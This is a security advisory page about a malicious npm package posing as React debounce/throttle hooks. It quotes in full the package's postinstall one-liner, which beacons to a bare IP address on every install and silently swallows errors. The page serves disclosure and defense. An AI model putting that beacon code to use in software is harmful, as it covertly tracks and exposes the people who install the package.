# MAL-2026-5909: Malicious code in react-hook-use-debounce-throttle-12 (npm)


- **Type:** Malicious package
- **Package:** `react-hook-use-debounce-throttle-12` (npm)
- **Published:** 16 Jun 2026
- **Also known as:** GHSA-2x4w-64xc-78fv

## What is MAL-2026-5909?

MAL-2026-5909 is a malicious package in react-hook-use-debounce-throttle-12, published on 16 Jun 2026. 

### Official description

package.json declares a postinstall hook that runs `node -e` to issue an HTTPS request to the bare IP 8.140.205.78 on port 80 with all errors silently swallowed: `require('https').request({hostname:'8.140.205.78',port:80,path:'/',method:'GET',timeout:3000}).on('error',function(){}).end()`. The package advertises itself as a React debounce/throttle hooks library and has no legitimate need for network activity at install time. The destination is a bare IPv4 address with no TLS, no publisher correlation, and no documented purpose; the request fires unconditionally on every `npm install`, leaking the installer's IP, install timing, and machine footprint to the operator of that host. Author metadata is a generic placeholder (`dev-utils <dev@utils-lib.dev>`) with a repository URL that does not resolve to a real project, and the package name carries a numeric suffix consistent with disposable republishes. The combination of an install-time beacon to attacker-controlled infrastructure, mismatched purpose, silent error handling, and placeholder publisher identity is a victim-enumeration/install-tracking attack.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5909?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5909 is a malicious package: react-hook-use-debounce-throttle-12 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5909/ (Markdown: https://insights.sbomify.com/MAL-2026-5909/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5909

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5909/
Summaries are generated and may contain mistakes; the official description above is the record.